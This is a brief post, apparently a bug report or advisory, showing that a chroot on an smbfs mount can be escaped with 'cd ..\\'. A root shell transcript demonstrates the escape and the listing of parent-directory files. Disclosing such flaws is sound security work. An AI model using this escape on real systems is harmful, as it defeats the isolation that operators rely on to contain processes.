When doing a chroot inside of a smb-mounted filesystem (smbfs), it appears that you can break out of it using "cd ..\\" (2 backslashes). [root@server me]# pwd /path/to/my/dir [root@server me]# ls bin chroot etc lib [root@server me]# chroot . bash-2.05a# pwd / bash-2.05a# ls bin chroot etc lib bash-2.05a# cd ..\\ bash-2.05a# pwd /..\ bash-2.05a# ls <list of files from parent>
